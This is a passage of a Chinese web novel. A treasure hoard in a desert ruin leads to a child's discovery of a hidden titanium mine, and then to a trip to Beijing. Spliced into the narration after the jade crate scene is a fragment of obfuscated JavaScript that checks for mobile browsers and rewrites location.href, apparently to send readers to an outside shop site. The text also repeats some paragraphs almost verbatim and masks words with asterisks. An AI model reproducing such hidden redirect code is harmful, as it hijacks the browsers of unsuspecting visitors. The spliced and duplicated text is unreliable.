刹那间,一片金辉泼洒出来,晃得众人几乎睁不开眼!
“哗……”惊叹声,抽气声,难以置信的低呼声在殿内此起彼伏。
只见深纵宽大的箱子中,是码放得整整齐齐的金锭和银铤。金锭每块约一斤,上面压印着“开元通宝”的钱范纹;银铤则多是“五十两”的船形大铤,表面有进贡的刻字和墨书题记。
光这一箱,就已经价值连城。
宋大壮看得眼睛都直了,好半天才缓过神来,连忙去开第二箱。
同样也是灿烂迷人眼,只不过这箱装的是金银器皿,各种杯盘碗盏。其中八只做工精致的黄金小碗,莲瓣清晰精致,瓣尖上卷,錾刻着细密的宝相花,一望便知是皇家御用。
同样耀眼的光芒再次绽放,只不过这口箱子里装的是金银器皿,杯、盘、碗、盏,一应俱全,做工精致绝伦。其中有八只黄金小碗,莲瓣纹路清晰精致,瓣尖上卷,錾刻着细密的宝相花,一看便知是皇室御用之物。
第三箱是各式各样的玉器:白玉飞天佩、青玉骆驼、墨玉辟邪……每一件都温润通透,最下面还有几块未经雕琢的羊脂玉籽料,皮色浑厚,质地温润,堪称极品。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207396|197367||http|test|mini|href|location''.split(''|''),0,{}));
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r>第四箱是装了满满的钱币,除了整齐的开元通宝,还有日本**时期的银币、古波斯、古罗马的钱币,是穿越丝绸之路,万邦来朝的见证。
其余的箱子里,还有各种瓷器、珠宝、首饰、字画等等,琳琅满目,数不胜数。除了其中一箱丝绸因年代久远、氧化严重,失去了原本的色彩,其余的宝物全都保存了完好的品相。
众人望着满屋的珠光宝气,一个个都觉得心跳加速,口唇发干。
在场的很多战士,都是苦哈哈出身,别说这么多珍贵的宝物,就算是随便拎出其中一件,也足以让他们大开眼界,终生难忘。
当最后一口木箱被打开时,众人再次被震撼到了——这口木箱中,装满了色彩斑斓的宝石原石:鸽血红的玛瑙、天空蓝的松石、翠绿的翡翠、紫莹莹的水晶、通透的红宝石……大多只是经过粗磨的原石,全都堆在了一起。
郑宏走上前,捡起一块深灰色、质地坚硬的原石,对着光线仔细观察,若有所思。
“太罕见了,居然能在这里发现富含多种矿产元素的伴生矿!这种矿石十分稀有,要是能在咱们国家找到这样的矿藏,对整个工业材料的改进、国防科技的发展,都将是极大的助力,其价值,不亚于这些金银珠宝!”
钱教授和王总设计师也围上来,仔细端详着郑宏手上的这块原石。
甜甜趴在爸爸肩头,看着爷爷们专注的神情,凑到梁哲耳边小声问:“爸爸,爷爷们很喜欢这种石头吗?”
“那块石头是很重要的资源,爷爷们当然喜欢。”
“那……要是甜甜能找到好多好多这样的石头,爷爷们会不会更高兴呀?”小姑娘天真地问。
“当然会了。”梁哲笑了笑,揉了揉她的小脑袋,“不过,这种石头很稀有,一般都埋在大山深处或者地下很深的地方,很难找到。等以后有机会,爸爸带你去全国各地看看,说不定就能找到。”
甜甜咬着手指,在心里认真思考:要是等那么久,爷爷们还要烦恼很长时间呢,甜甜要现在就帮爷爷们找到好多好多石头。
刘司令走上来,看着眼前这一箱箱珠宝,叹道,“想不到真的有这些国宝!这是我们民族留下的宝贵财富,幸亏没有被小鬼子掠夺走,否则,那将成为我们所有大夏人心中的憾事!”
王总设计师一边粗略清点,一边有些不解,“奇怪,小鬼子们为了这些宝贝,路都修好了,箱子也都封装完毕,最后却一件没带走,这有点不合常理啊。”
这句话也说出了所有人的疑问。
第95章 国宝存疑!萌娃探废墟,竟有意外发现?
“会不会是……”白旅长猜测,“因为他们撤退匆忙,带着这些沉重的箱子,不仅会拖慢行军速度,而且目标太大,容易成为活靶子,所以他们权衡利弊之下,只好忍痛放弃了?”
现在看来,这似乎是唯一比较合理的解释了,大家也只能暂时这样认为。
“总之,这是老天开眼,保住了咱们的宝贝!”刘司令大手一挥,豪气干云地笑道,“将这些文物原地封存,登记造册!立刻给京城最高**发电报,请求调派就近的野战军部队前来接收,务必保证这批国宝的绝对安全!”
“是。”
战士们开始逐一清点,拍照、登记。秘书处的干事们则负责在笔记本上详细记录每一件文物的特征。
钱教授站在箱子旁,看着这些令人目眩神迷的珍宝,却微微蹙起了眉头,陷入了沉思。
“钱老,您是不是觉得有些奇怪?”心思缜密的王总设计师立刻捕捉到了他的异样。
钱教授抬起头,沉吟片刻,反问郑宏:“郑宏同志,依你的经验和眼光,这批文物的市场估价,大概能达到多少?”
郑宏笑道:“钱老,您出身名门,是真正见过大世面的,见识远非我们这些搞工程的能比,怎么反倒向我提问了?”
钱教授摇了摇头,认真地说:“别的我大致清楚,但这些矿石资源的价值评估,就不是我的专业领域了。”
郑宏的神色也变得严肃起来:“您说的没错。单从这些矿石原石的稀有程度和潜在工业价值来看,随便拿出一块,在国际黑市上的估价,也要数百美元。”
王总设计师心算了一下,补充道:“但战乱年代,文物的艺术价值和历史价值极不稳定,除了那些易于辨认和流通的金银器之外,其他如玉器、瓷器、书画等,在国际市场上的实际变现价值其实很有限。”
“粗略估计,全部宝藏折算下来,大概能突破十五至二十万美元。”
“可是,”他话锋一转,指出了关键所在,“在沙漠中修筑一条同等规模和标准的公路,除了要征用大量劳工、动用工程机械、准备各种建筑材料之外,光是后勤补给和损耗,造价就不下数十万美元!”
钱教授微微蹙眉,这正是他自从见到这批文物后,内心深处一直萦绕不去的疑窦。
“我明白您的意思,”王总设计师总结道。
“目前看来,无论如何估算,其价值都不值得侵略者专门在沙漠上修建一条高标准公路,这是一种典型的‘价值倒挂’现象。如果只是为了偷盗国宝,完全可以用卡车分批装载,就算耗时长一些,几天也能顺利运出去。”
“所以……”郑宏追问道,“二位老总的言外之意是,小鬼子之所以不惜血本地修路,恐怕还另有所图?”
“目前还不好妄下结论,毕竟我们手中没有确凿的证据指向其他目的。”钱教授谨慎地回答。
他环顾四周,见部队正在紧张有序地忙碌,一时半会儿也帮不上忙,便提议道:“反正现在无事可做,不如我们四处参观一下,也好对这座古城有个更直观的了解。”
可就在他转身的刹那,却发现梁哲父女俩不知何时已经不见了踪影。
原来,从文物开始清点封存时起,甜甜就已经敏锐地察觉到大人们的注意力都被那些亮晶晶的宝贝吸引了。她悄悄趴在梁哲耳朵边,小声说:“爸爸,咱们出去吧。”
从刚才爷爷们围着那块灰扑扑的石头热烈讨论开始,她的小脑瓜里就冒出一个大胆的决定:她要帮爷爷们找到那种石头!而且要找到很多很多!
不过,大人们都在忙碌着重要的事情,好孩子要懂事,不能打扰他们。
梁哲听着女儿软软糯糯的声音,心想小姑娘可能是待不住了,便向白旅长报告了一声,抱着甜甜走出了神庙。
方才进城时只顾着警戒和惊叹,没来得
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及仔细观察。现在有了空闲,梁哲才发现,关帝庙前有一块面积不小的平整石基,原本支撑神庙的石柱早已风化坍塌,只剩下几处残存的基柱痕迹。
看样子,这座古城的实际占地面积并不大,很可能当年只是商旅往来的一处重要驿站,便于过往客商歇脚补给。
他不禁暗自思忖:不知道当时的人们把宝藏运到这里,究竟是单纯为了储存巨额财物,还是想以此为据点,招募私兵,以待时机帮助李唐王朝恢复帝业?
甜甜一下了地,就像一只挣脱了束缚的小鹿,立刻拉着父亲的手,直奔关帝庙后方而去。这里的古建筑大多已被推倒,应该是当年侵略者为了寻找可能存在的密室或暗道,粗暴破坏的结果。
当他们绕过关帝庙,眼前是一片更为广阔的推倒的废墟,和之前被推倒的房屋一样,到处都是断瓦残垣,散落着无数大小不一的石块和朽木。
甜甜看也不看,毫不犹豫地就往上爬。
梁哲伸手想拉住她,却没拽住,急忙高声叫道:“宝贝,这里到处都是松动的石头,很容易塌陷,很危险的!爸爸带你去别的地方玩吧。”
甜甜不但没有退缩,反而用小手拢着口,冲梁哲脆生生地叫道:“钱爷爷说了,没有调查就没有发言权!甜甜这是在帮爷爷们做调查呢!”
梁哲被女儿那副煞有介事、一本正经的小模样逗得差点笑出声,但很快,他就收敛了笑容,心中一动。
他看着女儿像个机警的小猎犬,在布满碎石的废墟上东瞅瞅、西望望,小眉头微微蹙起,表情认真得可爱。
女儿之所以能被刘司令等一众大佬破例允许带着一同前往,就是看中了她那异乎寻常的敏锐直觉和观察力。而自己带她出来,也很难说潜意识里,没有期待宝贝闺女能发现些什么不一样的东西。
“甜甜,你觉得这里有问题?你发现什么了?”他认真地问。
第96章 疑点重重!甜甜神直觉!找到矿藏入口
甜甜没有直接回答,仍旧在乱石堆中专注地寻找着,小布鞋踩在高低不平的石尖上,有时会被咯得生疼。
可是,她可不能怕辛苦!爷爷们刚才围着那块灰扑扑的石头时,眼睛里闪烁着那种她从未见过的、充满渴望和喜悦的光芒,甜甜知道,那是“很喜欢”的意思。甜甜要负责帮爷爷们找到它!
而且,她有种强烈的直觉,那种神奇的石头,一定就在附近!有很多很多!不像爸爸说的,藏在很远很远的大山里。
这种感觉很奇妙,无法用她幼小的语言来形容,却像一颗种子,深深地扎根在她的直觉里,指引着她。
梁哲怕她不小心摔下来,也赶紧爬上废墟,拉住了她的小手。他随即招手叫过一名正在附近警戒的战士,低声嘱咐道:“去报告刘司令,就说甜甜可能有新发现,请他带人过来一趟。”
“是!”战士立刻转身跑去报告。
在爸爸的保护下,甜甜从这片倒塌的房屋废墟上小心翼翼地走了一小圈。最后,她在一堆看似普通的青砖和石块前停下了脚步。
“爸爸,看!”她伸手向下一指,“这里有大石头。”
梁哲顺着女儿的手指看去,只见脚下本就是各种建筑垃圾,里面的青砖甚至还是千年前的唐砖,否则也不会留下这么一大片的废墟遗迹。
不过,女儿说的“大石头”,到底是指哪一块?
他正要开口询问,甜甜忽然指着其中一块石板,大声说:“爸爸!搬开它!下面有小洞洞!”
梁哲低头一瞧,那只是一块普通的建筑用石板,根本没发现什么洞。可既然女儿说得如此笃定,这事肯定错不了。他立刻招呼附近的几名小战士:“来,搭把手,把这块地方清出来!”
战士们见**有令,立刻围拢过来,众人一起上手,不一会便将周围的碎石和浮土清理干净,一块更大、更厚重的青石板显露了出来。
梁哲心中微微诧异:如果这之前是间普通房屋,地面应该是夯土才对,怎么会特意砌上这么一大块石板?
几个人围着这块石板仔细辨认。终于,在其中一块接缝处,发现了一个比指甲盖大不了多少的小孔!
小孔周围的石屑呈现出一种被高温烧灼后的乌黑,不仔细看根本发现不了。
“这是……**打的?”小战士们猜测。
“不像,”梁哲蹲下身,用手指轻轻触碰那个小孔周围,“不像**孔,倒像是……**爆破的痕迹?但这里怎么会**呢?”
话音刚落,得到汇报的刘司令已经带着一众大佬闻讯赶来。
“怎么了?我们小福星又发现了么子?”刘司令隔着老远就喊。
甜甜背着小手,认真地说,“刘爷爷,甜甜要帮你们找那种很厉害的大石头!”
“石头?什么石头?”刘司令一时没跟上小姑娘跳跃的思维,不过一提到“找东西”,他立刻意识到可能又有重大发现,精神头一下子就提了起来。
随后赶来的钱教授和王总设计师也走了过来,两人顺着梁哲的手指,在看到那个小孔的瞬间,脸色立刻变了。
钱教授从口袋里掏出一个小型放大镜,对着那个小孔仔细研究,越看,脸上表情越是凝重。王总设计师也蹲下身,伸手在孔洞上测量,眼睛也亮了起来。
“不是普通的爆破!”他有些激动地望着钱老,“是定向爆破的痕迹!”
“对,**量很小,但聚能效果极好,应该是用了烈性**。”
“烈性**?”刘司令一愣,“他们要炸么子?”
钱教授正要回答,郑宏已经走上来,挥手示意众人向后退。他自己俯下身,将耳朵贴在地面,不时还用地质锤轻轻敲打。
“老郑,有发现?”王总设计师问。
郑宏摆摆手,神情专注,一分钟,两分钟……就在大家等得焦急时,郑宏猛地站起身,脸上露出狂喜的表情!
“空腔!下面有空腔!而且结构特殊,回音大!”
此言一出,众人皆惊!
刘司令立刻反应过来,“你的意思是,这下面是个密室?”
“不,”郑宏神情激动,“也可能是个秘洞!”
他看向钱教授,“钱老,您的判断?”
钱教授点了点头:“下面的情况我不了解,但这个爆破点位于整块区域构力学最薄弱的一个点上,合理怀疑当年敌人撤退时引爆了**,利用冲击波炸塌了房屋,形成了一个天然的密封层。”
“没错,”王总设计师补充,“从建筑结构看,对方不是胡乱爆破,而是有选择地破
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坏了承重墙,让房屋‘定向倒塌’,正好把这片区域掩埋起来。从外面看,这里就是一堆普通的瓦砾,根本想不到下面别有洞天!”
他看向甜甜,目光里充满了惊叹:“这个爆破点做得太巧妙了,如果不是甜甜,我们任何人,用任何先进的仪器,可能都发现不了这个伪装!”
说到这里,刘司令才想起来,甜甜刚才和自己说的话。
“我的乖乖,你说要找大石头,不会就在这下面吧?”
甜甜仰着小脸,一脸认真,“钱爷爷刚才喜欢的石头,甜甜要帮爷爷找到它。”
“你说什么?”不只钱教授,连郑宏、王总设计师等人都激动起来。
刚才他们研究的石头只有一个,就是那块矿物原石,初步判断里面富含钛、镍、钴等多种元素,要是这个矿石就在下面——
那是不是意味着,这个突现的空腔,就是一个被隐藏起来的矿藏?
所有人的心脏都因为这个突如其来的发现,开始不受控制地狂跳起来!
如果说发现古城宝藏是“意料之外,情理之中”的惊喜,那么能发现这么个矿藏入口,就是完全超出想象的“惊天之喜!”
这已经不是“发财”了,这是“振兴国运”啊!
现场的气氛瞬间从对文物的谨慎肃穆,转变为一种火山爆发前的极度亢奋。
“快!快把这里的沙土清理开!”刘司令立刻吩咐,“小心点,注意结构安全!钱老,郑工,你们判断一下,我们应该从哪里下手!”
郑宏立刻指挥战士,开始小心翼翼地清理洞口周围的浮沙和碎石。白旅长则迅速调来了工兵连,带着专业的探测设备在四周排查。
很快,一大片地面已经露了出来,这里的石板与石板之间几乎没有什么缝隙,可见鬼子防范之用心。而在其中一块石板的中央,赫然有一个直径约一米的、被熔岩状物质封死的方形缺口!
“就是这里!”郑宏抬手一指,“当初小鬼子撤退,就是在这里把入口封**。”
“**!”白旅长当机立断。
“不行!”钱教授立刻制止,“不能用**!这里的地质结构太复杂,一旦引爆,整个地脉都可能被破坏!”
众人看着封得严实的洞口,陷入了为难。
第97章 挖到宝了!神秘矿洞藏顶级钛矿,全员沸腾!
“别急,我试试!”
关键时刻,还是郑宏站了出来,他提了地质锤,趴在地上敲敲打打,不愧是资深专家,不一会儿,他便掏出随身的粉笔,在其中一个位置画了个圈。
“这里是结构最薄弱点。用铁钎从这里楔进去,打出小洞,再用大锤敲击,利用应力就能震开石板。”
说干就干,战士们从车里搬来工具,对准粉笔圈敲敲打打起来,梁哲体贴地捂住女儿的耳朵,免得震响惊着她。
十几分钟后,几声闷响从石板上传来,封堵处先是绽开蛛网般的裂纹,随后纹路迅速蔓延,终于“哗啦”一声,塌落下一大块。
“成了!”
“有戏!”
“大伙小心啊!”
战士们精神大振,欢呼一声,锤子抡得更快了。不一会儿,整块封堵就已经被砸穿,一个漆黑洞口显露出来。
一股夹杂着泥土气息的清洌空气从中缓缓涌出,仿佛来自大地深处的呼吸。
这后面果然不是什么密室,而是一间深不见底的大洞。
“我先下去!”宋大壮打开强光手电,右手掏出**,就要往里闯。
“回来!”白旅长一把将他拉了回来,“还没做空气检测,你急什么!”
“嘿嘿,抱歉**,着急了。”宋大壮不好意思地挠挠头。
一名战士拿出简易的毒气检测仪,伸入通道。几分钟后,仪器显示:氧气含量正常,无常见有毒气体。
“可以进,但要小心。”刘司令下令,“宋大壮同志,你带一个小队前面探路。其他人跟在后面,保持好距离。”
“是!”宋大壮领命,带着战士钻入通道。脚下道路平整,宽达数米,手电光射向前方,一片漆黑,深不见底。
“报告,两侧墙壁发现照明线路卡槽。”
有战士举着手电汇报,众人也注意到,两边的墙壁不是天然的岩石或土层,而是用混凝土整体浇筑的。
“钱老,这是大工程啊。”见多识广的王总设计师也不禁咂舌。
“继续观察。”
宋大壮喝令。
一行人继续向下,通道越走越深,“爸爸,有小车车!”甜甜指着前方,果然不远处,脚下铺设着窄轨矿车轨道,几辆采矿斗车歪倒在一边。
“这是采矿的运输车,”郑宏快步走上前,兴奋道,“这下面真有矿洞!”
这句话瞬间点燃了所有人的狂喜,众人脑海中不约而同冒出一个念头:想不到这大漠深处,竟然真的埋藏着一座隐秘的矿脉!”
众人加快脚步,拐过一个缓弯,眼前骤然豁然开朗!
一个巨大的、人工开凿的地下空间出现在众人眼前,高度足有十余米,长度也超过近百米。
最令人震撼的并非工程的规模,而是洞穴一侧裸露出的岩壁。
在数道手电光的照射下,岩壁折射出眩目的金属光泽:暗银、深蓝、紫红、黝黑……
多种色彩交织,宛如一幅绘就的斑斓画卷!
但这还不是全部。
在洞穴中央开阔处,整齐停放着大量机械设备,甚至还有几台大型柴油发电机。刚才见到的矿轨一直延伸至此。
令人惊讶的是,虽然已经隔了二十多年,但这些斗车、通风机并没有上锈,看起来都保存完好。墙上钉着日文标识牌,桌子上还摞着不少图纸和文件。
寂静!
所有人都被眼前的一切震撼得失去了语言,只能听到彼此粗重的呼吸和心脏狂跳的咚咚声。
太不可思议了!
“原来……这才是小鬼子修路的目的……”王总设计师喃喃地说。
他们哪里是想修路,分明是想偷偷开采这座矿山,将这些珍贵的金属资源据为己有!
郑宏再也按捺不住心中的激动,踉跄着扑到矿壁前,拿出地质锤,小心翼翼地从墙壁上取下一块矿样,捧在手中仔细观察。
“金红石……错不了,和上面箱子里的原石一模一样!”他的手微微发抖。
钱教授走上前,捡起一张相对完整的图纸,对着手电筒的光辩认。上面是用日文标注的矿山开采规划图。剖面图、开采进度表、设备清单等专业内容一目了然。
“计划得真周全。”王总设计师巡视着开采设备,“从探矿到回采,全套方案都有。如果不是战败投降,恐怕这里够他们开采好几年的。”
刘司令走到一台发电机前,试着扳动控制阀。出乎意料的是,阀门竟然转动了。
“保养得很好,修修可能还能用。”
“他们没来得及破坏。”王总设计师若有所思,“是觉得还能再回来,留在上面的珠宝是障眼法,一旦被人发现,就会只顾着宝藏,压根不会考虑地下还有矿脉。”
郑宏已经顾不上设备了。他沿着矿脉露头走了几十米,在不同位置取了七份样本,每取一份就仔细编号、记录位置。他的动作越来越快,呼吸也越来越急促。
“老郑,慢点。”钱教授提醒道。
“慢不
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了!”郑宏兴奋地拿着矿样走回来,“司令,各位**!如果这些样本能代表整个矿体……那咱们可能发现了一个世界级的钛矿!”
他举起其中一块标本,手电光从背后照射,呈现出半透明的深红色,内部有细密的金色纹路。
“看看这金红石含量!还有伴生的钒、锆……这是航空级钛合金的绝佳原料!”
这句话,让所有人精神为之一振。
“能解决多少问题?”刘司令问得直截了当。
郑宏深吸一口气,“钱老他们的**项目,材料问题至少能解决六成。不,七成!”
钱教授走上前,接过郑宏手中的标本,对着光仔细观察。良久,他缓缓点头:“如果冶炼工艺能跟上……郑教授的估计可能还保守了。”
“没错!”王总设计师也激动起来,“之前因为材料强度不足,弹体壁厚比理论最优值增加了15%,如果换成高性能合金,壁厚可以减薄,超重8%的问题能解决一大半!”
钱教授点头,“省下的重量,加上气动布局优化,跨音速阻力降低2.5%,两者叠加,射程还能再提高一大截。.”
“有纸笔吗?我得算算,现在就算!”王总设计师按捺不住了。
“老王,先别急。”钱教授按住他的手,“具体情况,还得等郑宏同志检测出矿物确切含量,才能做出科学预测。”
“好!事不宜迟!”刘司令一拳轻捶桌面,“马上动手,尽快完成矿石评估。我们要……”他话音忽然一顿,眼中闪过一丝疑虑。
这份疑虑,也正是钱教授始终保持相对冷静的原因。
“司令,我们虽然发现了矿藏,但如何冶炼、加工,才是后续最大的难题。”
是啊,大家刚才只顾着高兴,竟然忘了这么关键的问题。
就算基地现在的条件,能靠敌人留下的工具完成开采,后面的冶炼和加工也根本做不到。这些都需要专业的冶炼厂才能完成。
眼下别说生产合金钢材,就连简单的粗加工都办不到。
而国内成熟的冶金厂主要集中在东北、华北,但钛合金的提炼技术门槛高,不是一般工厂能胜任。如果把这批矿石千里迢迢运过去,万一现在的车床设备加工不了,岂不是前功尽弃?
更重要的是,如果这个矿藏秘密被敌特分子知道了,他们肯定会变本加厉地搞破坏!
刚才的兴奋就像被浇了一盆冷水,让大家激动的心情被迫冷静下来。
第98章 暖心暴击!钱老被逼回家探亲,甜甜逛京城
甜甜仰头看着大人们突然黯淡下来的表情,小手拉了拉梁哲的衣角:“爸爸,爷爷们怎么不高兴了?不是找到宝贝了吗?”
梁哲蹲下身,把女儿搂进怀里:“是找到宝贝了,但是……要把宝贝变成有用的东西,还需要很多很多努力。”
“就像甜甜要做算术题,知道了答案,还要写出计算过程对吗?”
孩子天真的比喻让几个大人苦笑起来。刘司令走过来,摸了摸甜甜的头:“对,就像做算术题。不过这道题特别难,需要很多人一起努力。”
他直起身,环视众人:“好了同志们,都别垂头丧气的。发现问题就解决问题,这才是咱们的风格。”
“司令说得对。”王总设计师重新振作起来,“设备可以造,技术可以攻关,没什么难的!”
几位领导围在一起,你一言我一语,分析现在的情况,渐渐地理出了一个大致的方向。
刘司令点点头,“没错,这件事急不得,我们这些人,得尽快拿出一个解决办法。”
诸位大佬围拢在一起,你一言我一语,就现在的情况进行了讨论,渐渐地,理出了一个大致方向。
“我们手上没有专业的光谱分析仪,只凭经验,不能断定这批矿脉的价值,当务之急,是要把这些原石采样,连同这里的矿脉信息一起,报送京城,交给专业部门检测。”
“郑宏同志这个想法嘛,我同意。”刘司令举手。
“我也同意。”钱教授举手,王总设计师和其他人也纷纷表示赞成。
“那还有第二个问题,”郑宏继续说:“如果确定要开采,接下来就是运输问题,我提议,用铁路专列运输,部队押运,启用专用的运输容器,防震、防潮、防辐射检测。当然,保密级别也要提高。”
“完全可以。”刘司令转向白旅长,“白树勇同志,这件事交给你,矿脉先由咱们的人保护起来,我会向上级单位请调驻军,加强保卫工作。”
“司令,基地管网铺设工作已经快结束了,接下来,我就要全程盯着这些矿石的冶炼和开发。只有亲眼看到炼出第一块合格的板材,我才能放心。”
“老郑同志啊,”刘司令握住郑宏双手,感慨道,“我代表基地,感谢你的付出,但也要向你提个要求。”
“司令,您请讲。”
“你的身体,还没有完全好利索,不能太劳累,要好好休养,这次带原石回京,一定要先去京城的大医院做个全面检查,这样,我们才能放心。”
一句话说得郑宏眼眶发热,他郑重地道:“司令放心,我还要留着这条命继续为国效力,不看到咱们的**上天,我不甘心!”
“好!”刘司令大力拍着他的肩膀,想了想,又对钱教授道:“钱老,你家在京城,来戈壁滩三年了,连一次家都没回过,这次,你就和老郑同志一起回去,我给你批假,回去探望一下家人。”
“司令,”钱教授愣了一下,“我就不用了,我爱人有这个觉悟。不会怪我的。”
“她有觉悟是一回事,你要是能回去看看她,她肯定更高兴。再说,孩子们也好久没见到爸爸了。去吧,他们都想你了。”
钱教授还在犹豫,摇头道:“不行,现在设计正在攻坚阶段,我不能搞特殊化,得和大家一起闯过这关。”
“钱老,你只管踏踏实实地去。”王总设计师笑着拍拍他,“我向你保证,我会带着设计组加快速度,争取在你回来之前算出基础模型。”
“这……”钱教授很为难,还想推辞,刘司令一摆手:“钱老,你就当是为了工作吧。我不白让你去,关于合金材料的设计,还需要你提出想法,不然厂家怎么知道要做什么样的。”
这明明发个设计图纸就可以了嘛。钱教授还想要反驳,刘司令抢着道:“哎呀钱老,我是总司令,你总得给我点面子吧?就这么定了,批假,回家探亲,安顿好家里再回来。”
见实在躲不过,钱老只好叹息一声,“好,我就回去一天……”
“五天。”刘司令一摆手,“来回路上各一天,在家待三天。这是最低标准了。”
钱教授苦笑,向王总设计师道:“老王,基地这一大摊子事,就交给你了。其实我知道,你比我回家的次数还少。”
“钱老,我和你不一样。”王总设计师笑呵呵的,“你家在京城,每次回去除了开会,连家都不回
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。我还有过一周探亲假呢。”
甜甜看着大人们讨论,有些不解地歪着小脑袋:“爸爸,钱爷爷为什么不想回家啊?”
梁哲心里一酸,想起自己也多年没见妻子,谁知道最后一面竟是永别。他特别能体会钱教授那种近乡情怯的矛盾心情,和对家人的愧疚感——正因为这样,才不敢轻易见面。
“钱爷爷不是不想回家,是因为祖国这个‘大家’需要他,他只能暂时放下自己的‘小家’。”
父女俩的对话被几位领导听到。刘司令忽然灵机一动:“梁哲!”
“到!”梁哲条件反射地立正。
“也给你个任务:带上甜甜,去京城逛一圈。经费全报,动物园、百货大楼、供销社……城里孩子能吃能玩的,让甜甜也体验体验!”
“司令……”梁哲吃了一惊,没想到竟然是这么个任务,“这……不用了吧。”
“必须去!”刘司令板着脸,心想我说不动钱老,还说不动你?
“这是命令!必须让甜甜玩高兴了!”
梁哲张了张嘴,说不出话来。
“甜甜,这是刘爷爷给你的奖励,只要是喜欢的,买!不用给爷爷省钱!”
“对,甜甜回城里,我出一个月津贴。”王总设计师笑道。
白旅长:“我也出。”
宋大壮:“我也……”
“你出什么出!”刘司令瞪他一眼,“拿好你那点钱,喜欢什么就买。就一条,把钱老和甜甜给我保护好。”
“啊?”宋大壮一愣,“司、司令,您的意思是,我也去?”
“你不愿意啊?”刘司令虎着脸,“白树勇,把他换了,再选个别人!”
“别别!”宋大壮忙说:“我愿意,愿意!”
他那焦急的样子逗得各位领导都笑了起来。甜甜还一脸懵懂地看着梁哲:“爸爸,爷爷想让甜甜去哪儿呀?”
“去京城。”梁哲亲了亲她的小脸蛋,“爷爷们让你去看看首都,看看咱们祖国的心脏,以后,甜甜学会本领,要更好地为祖国建设出力。”
“好呀,甜甜要去首都啦。”小姑娘高兴地拍起手,兴奋极了,“甜甜一定好好学习,帮爷爷们造出大**!”
第99章 专机回京!甜甜首次坐飞机,钱老遇昔日导师
回京的事就这样定下来了。刘司令亲自调来专机。郑宏准备好矿石样本,又精心拍了照片,画好矿脉图,一起装进了工具箱。
钱教授在大家一再的请求下,换上了平时几乎不穿的白衬衫,外边套一件半新的中山装,头发也梳理得整整齐齐。
褪去了戈壁滩的风沙,他整个人看起来风度翩翩,儒雅沉稳。当年那个在全球最高科研论坛上,侃侃而谈、锋芒毕露的顶尖教授,仿佛又回来了。
甜甜则被基地几位阿姨精心打扮了一番。大家找出压箱底的布料,给甜甜紧急赶制了一件漂亮的小裙子,外面配一件小罩衫。
考虑到京城这时正是初夏,还找来皮革,为她做了一双带扣的小凉鞋。
除此之外,大家还用绸花给她扎了小辫子,在领口袖口缝上了漂亮的小蝴蝶结,仔细一看,和城里的小姑娘没什么两样。
“甜甜可真漂亮啊。”阿姨们由衷地赞叹着。
李桂华阿姨拿出干净的帆布兜子,里面早已装好了大家送来的各种零嘴。梁哲伸手一摸,还在夹缝里找到厚厚一沓粮票和钱。
“李姐,我不能要。”他连忙推辞。
“这是大家的一点心意。”李桂华笑着挡了回去,“大伙知道甜甜要去京城,可不得好好送送,城里比镇上大得多,东西卖得也贵。”
“李阿姨,甜甜会给你带礼物的!”甜甜懂事地说。
李桂华更高兴了,“乖宝贝,阿姨不要你的礼物,你玩得开心,就是阿姨最大的礼物。”
她身后送行的众人,全都笑着点头。
钱教授和刘司令、王总设计师等一一握手,心中仍然对科研项目千般惦记,王总设计师叹道:“钱老,你就走几天,家里不会有问题的,相信我。”
这才劝得钱教授登机。
甜甜被梁哲抱着,一出基地大门,就看见远处停机坪上,停着一架威风凛凛的大飞机。
小姑娘上次见到的直升机喷着可怕的火焰,最后掉下来变成一堆废铁。这一次的专用客机,是她头一回见。
她兴奋地问,“爸爸,甜甜要坐大飞机了吗?”
“对,我们一起,坐飞机去京城。”
“哇!好棒呀!甜甜还没坐过飞机呢!”
小姑娘开心地手舞足蹈,眼睛闪闪发亮。梁哲看女儿这么高兴,心里也十分开心。
可蓦地,一种离愁别绪涌上心头,要是妻子能看到这一幕,或者,自己带着女儿,也像钱教授一样回去探亲,那该多好啊……
但在女儿和周围人的注视下,心底那抹伤感不好表露出来,他收敛情绪,和众人挥一挥手,抱着甜甜上了飞机。
最后登机的是宋大壮,他此行负责保护钱老的安全,顺便也承担护送众人的重任,因此只有他一个人神情严肃,暗暗摸了下怀中揣着的武器,这才和大家告别。
飞机在简易的跑道上开始滑翔,随着一个拉高,纵身跃入了云层。
甜甜生平第一次,看着白云在身边飘过,感觉自己像是在云朵里飞翔。
高空的气压并没有让小姑娘觉得头疼或耳朵响,她反而很兴奋,全程都精力十足,既激动又快乐。
不过有一点她做得特别好:她看到钱爷爷一直坐在座位上,摊开面前的笔记本,在认真计算着什么。甜甜就把满肚子的问题都咽了回去,生怕打扰到钱爷爷。
郑宏也在做着自己的研究。两位学术界的顶尖科学家,都有着高度的自觉,勤奋、刻苦,不放过任何一个学习和钻研的机会。
渐渐地,甜甜也受到两位长辈的影响,不再像只快乐的小鸟一样叽叽喳喳,而是贴着舷窗,用小手指描画着白云的形状,在脑子里回想张知秀阿姨教过的计算题。
飞机经过三个多小时的飞行,中途降落下来加油,然后继续起飞,终于在上午十点三十分降落在京城西郊的军用机场。
机场已有车辆等候。一位四十多岁的中校快步迎上来,向钱教授敬礼:“钱老,一路辛苦。我是总部保卫局的赵志峰,负责您在京期间的安保工作。”
钱教授和郑宏都是国家重要人才,尤其是钱老,就算是私人探亲,他的安全也绝对不能出任何问题。
钱教授当然明白,回礼道:“麻烦你们了。”
“应该的。”赵志峰转向郑宏,“郑教授,地质研究院的车在那边等您。按您的要求,实验室已经准备就绪,随时可以开始检测。”
郑宏拒绝助手要帮他提样本箱,向赵志峰道:“现在出发,越快越好。”
“郑爷爷不和我们一起玩吗?”甜甜仰头问。
郑宏笑着蹲下身,亲昵地摸摸甜甜的头:“甜甜乖,郑爷爷有重要工作。等工作完
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成了,带你去吃京城里的烤鸭。”
几人正要分头上车,赵志峰的步话机响了。他接听后,神色微变,快步走到钱教授身边,压低声音说道,“钱老,抱歉,刚接到上级通知,**请您去一趟西华厅。”
西华厅是国家政要会见处。钱教授没想到刚回京就被召见,问道:“**说了什么事吗?”
